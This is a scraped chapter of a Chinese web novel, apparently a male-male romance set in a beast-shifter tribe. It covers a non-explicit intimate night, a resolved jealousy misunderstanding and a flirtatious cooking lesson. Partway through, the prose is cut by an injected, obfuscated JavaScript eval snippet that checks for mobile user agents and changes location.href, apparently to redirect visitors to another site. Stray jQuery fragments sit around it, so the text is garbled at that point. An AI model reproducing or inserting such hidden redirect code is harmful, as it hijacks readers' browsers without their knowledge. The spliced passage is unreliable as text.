这是尤劼第一次真正见到骞骁的上身!
方才感受他心跳时,隔着衣料只觉得胸膛紧实精悍,却不曾想剥开后竟是如此……富裕!
饱满起伏的胸肌如同小山丘,紧窄的腰腹没有一丝赘肉,人鱼线清晰深刻地没入裤腰,宽阔的肩膀与流畅的手臂线条蕴含着极具爆发力的美感……
月光从窗外流泻而入,洒在这具完美躯体上,足以令任何人血脉喷张。
他就这样一步步后退,沉默地坐到了床沿。
不管是那张轮廓分明、俊美的脸还是那具健美的身躯都极具侵略性,此刻他却收敛了浑身上下所有的锋利,只余下乖顺,带着眼尾未褪尽的红痕,他抬眸,无比坚定地直视着尤劼,性感嗓音倏时响起,吐出的字句足以让人疯狂。
“都给你——”
这姿态,这言语,分明是在宣示——对他做什么都可以……他任凭处置!
尤劼只觉得一股热血直冲天灵盖!喉结剧烈地上下滚动,狠狠咽下一口口水。
脑海中瞬息闪过往日——
起初人型时他们晚上睡觉都得一个地上一个床上,只有化作兽型,阿骁才允许睡在一块,而现在竟是——
感谢惋哥儿!感谢这场误会!
仿佛被那月光下宛如献祭般的身影蛊惑,尤劼一步步,如同踩在云端般走向床边那人……
一番胡闹,虽未至最后,但彼此皆已汗水淋漓,餍足不已。
空气中弥漫着释放后的靡靡甜香与彼此气息交融的暖昧。
尤劼心满意足地窝在骞骁的怀里,枕在那富裕‘小山丘’的地方,时不时低头在那上面偷香一下,幸福的仿若下一秒就要融化、死去了。
骞骁胸膛起伏,气息仍带着微喘。
今晚实在激烈,不单单因为一场缠绵情事,这情事那小雄性明显顾及着自己,未至最后——
是因为之前那几番情绪剧烈的起伏波动,耗尽了他不少的力气。
他向来独来独往,不曾与谁有过深交,更遑论如此亲密交颈。
一个人的生活如同一潭死水,虽无聊,却也平静无波——
从没有什么能掀起他心湖的涟漪。
可今夜,这潭死水被彻底掀翻!情绪失控彻底,身体也在情潮中几近失控……
心湖掀起的滔天巨浪席卷了全身每一处神经。
身体或许不算过度疲劳,但这巨大的心灵冲击带来的疲惫感,沉甸甸地包裹着他。
“阿骁……”就在骞骁闭目沉溺于这激荡后的宁静温存时,怀里的小雄性支起了身子。
尤劼趴在他胸口,悠悠然地望着他,那双漂亮的眼睛里闪烁着洞悉的光:“你老实告诉我——是不是偷偷吃息惋的醋,已经吃了好久好久了?”
仿佛在回溯过往点滴,他的目光直直地锁住骞骁躲闪的眼神,语气带着明显的不赞同:“为什么不早点告诉我?”
“……”骞骁顿时有些不自在,浓密的眼睫低垂,在眼下投下一小片阴影。
尤劼轻叹一声,凑上去亲了亲他线条硬朗的下巴,带着安抚与承诺:“记住,下次有这种事,一定要告诉我,知道吗?只要你说了,我会跟他保持更远的距离,让你安心。”
“……”骞骁沉默了一瞬,喉结微动,才用低哑的、带着一丝不易察觉委屈的声音开口:“不单单是他——”
“?”尤劼的睫翼猛地一颤。
还有谁?他自问除了息惋,和其他哥儿更是没有接触啊?
“你……未曾留我……”
短短四个字,没头没尾。
尤劼愣了片刻,直到对上骞骁那带着无声控诉的眼神,才猛地将思路贯通。
“你是说……早上你要外出之时?”尤劼恍然大悟。
骞骁点了点头,眼巴巴地看着他。
尤劼瞬间扶额。
天可怜见!
他哪里是不想留!他那是生怕自己显得太粘人、太不体贴,坏了在这人心中辛苦经营的“宽容温柔好伴侣”形象,才每次都强忍着不舍,故作大方地点头说“好”!
却原来……这人一直在等自己开口挽留?!
靠!
尤劼感觉自己终于参悟了爱情里那些酸酸涩涩、虐来虐去的真谛——敢情十之八九,都是沟通不到位惹的祸!
他深吸一口气,压下心头又好气又好笑的情绪,重新低下头,额头轻轻抵住骞骁的额头。
目光灼灼,无比认真地望进骞骁深邃的眼眸里,补上了前几日一直想做却未曾做到的事。
“那……我的阿骁……”他的声音温柔而郑重:“明天……不……”
他顿了顿,改口道:“接下来的这些日子,能不能……留在部落里,陪陪我?”
骞骁的心脏仿佛被这句话瞬间填满,指节微微蜷缩了一下。
他抬起手,轻轻地、无比珍惜地扶住上方尤劼的腰侧,几乎是毫不犹豫地、带着一种如释重负的轻快,重重地点下了头。
这句挽留……他等了好久。
心结解开,沉重的阴霾彻底散去。
尤劼长长地、彻底地吁出了一口气。
本就偏弱的身体在经历了情绪大起大落和方才的情潮激荡后,浓浓的疲惫感如潮水般汹涌袭来。
他忍不住打了个大大的哈欠,在骞骁温热的怀抱里寻了个最舒服的姿势,眼皮沉重地阖上,准备沉入梦乡。
身下的躯体却突然动了动,似乎想起身。
尤劼强撑开困倦沉重的眼皮,手臂下意识地压住他:“嗯?怎么了?”
“你还未吃晚饭——”骞骁的声音放得极轻,怕惊扰了他的睡意。
尤劼困得眼睛都睁不开了,声音含混地反问道:“你饿吗?”
骞骁摇了摇头。
“那就睡吧……不吃了……”尤劼嘟囔着,用身体的重量将骞骁重新压了回去,声音迅速微弱下去,呼吸很快变得均匀绵长,沉入了黑甜的梦乡。
确认怀中人已睡熟安稳,骞骁才极其小心地、一点点挪开身体起身。
他轻手轻脚地走到屋外打了清水,浸湿软布,回到床边仔细地替尤劼擦拭了身上的薄汗。
随后自己又出去清洗干净,仔细净了手,去取了些新鲜的兽肉和干净的竹筒,在灶间煨上了一些肉汤。
这样,无论何时,只要屋里的人醒来觉得饿了,立刻就能有热乎的东西下肚。
做完这一切,他的目光不经意间扫过石桌——上面还静静放着那盘早已凉透、凝出一层油脂的酸甜排骨。
骞骁的动作顿了顿。他走上前,沉默地盯着那盘菜看了看。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284400|180629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
然后,他端起碗,毫不犹豫地转身走向远方,手臂一扬,将那盘凝结的排骨连同碗一起,远远地抛掷了出去。
他不吃别人做的。
酸甜排骨,他只吃尤劼做的。
……
第二天。
阳光泼洒下来,照亮了一座寻常简陋的小院。
院中火堆旁,两道身影依偎着,构成一幅无比契合的画面。
一人身形纤细单薄,另一人则高大挺拔,醒目的体型差却意外的和谐,看起来极为的般配。
他们凑得极近,似乎在低声细语些什么,那高大强健的身影被逗得耳根微红,却无比依恋地紧靠着身侧娇小的伴侣,而娇小的人时而轻声指点,高大的身影便立刻依言动作,乖顺得不可思议。
二人正是尤劼与骞骁。
昨夜胡闹以后,今早双双被饿醒。
吃了骞骁昨夜煨的热汤,依旧不够。
尤劼想起这人夜里的声声控诉。
说自己不曾亲手教导他做那些菜色,这不正补上着么。
尤劼做的菜有相当一部分骞骁是会的,正如他自己所说,是他再旁侧看着学会的。
有可能是他真的过目不忘,见过一遍就会了,也有可能——
尤劼心头泛起一阵甜蜜的悸动,也有可能,是他在旁侧观察自己很仔细,他把自己说的每一句话每一个动作都记在了心里,然后反复播放琢磨,最后将这些菜色的制作方法熟练于心。
而且,他做出来的味道,确实相当好,比惋哥儿做的更合尤劼心意。
今早他就炸了薯条给尤劼垫肚子——
此刻,尤劼正手把手教他做的,是酸甜排骨。
他自己最爱吃的这道菜,他倒是一点都不会。
夹起一块块排骨,均匀地裹上淀粉糊糊,再放入滚烫的油锅中炸透定型……光是这第一个步骤,两人便磨蹭了大半时辰。
无他,只因尤劼真在‘手把手’教。
那双纤细修长的手,从教学开始,就未曾真正离开过骞骁的大手。
夹排骨时,尤劼的手覆盖在骞骁的手背上,引导着一起用力,下锅炸制时,亦是握着他的手腕,一同控制着角度和时机……
不仅如此,在这“紧密合作”的间隙,尤劼的指尖还总似不经意地、带着撩拨意味地滑过骞骁的指节,轻柔地挠搔他的掌心,或是在他紧绷的小臂肌肤上流连片刻……
这套“组合拳”下来,不仅大大拖慢了做菜的进度,更将专注学习的骞骁撩拨得面红耳赤,心跳如擂鼓。
骞骁甚至觉得这进行的仿若不是烹饪,而是在对他进行某种甜蜜的刑罚。
在罚他之前有话不说,罚他将误会拖延到那般地步,更罚他明明有亲近之意却不曾让眼前的人知晓——
……
当裹着诱人琥珀色酱汁的酸甜排骨终于出锅时,骞骁感觉自己浑身都已被汗水浸透。
他长长地、如释重负地吁了一口气。
尤劼满意地拿起筷子,夹起一块色泽诱人的排骨,正欲送入口中品尝。
骞骁屏息凝神,眼含期待,身子紧绷的注视着他的反应。
就在这时,一道极其尖锐、充满怒气的声音如平地惊雷,骤然从院外炸响:“尤劼!!!你给我出来!!!”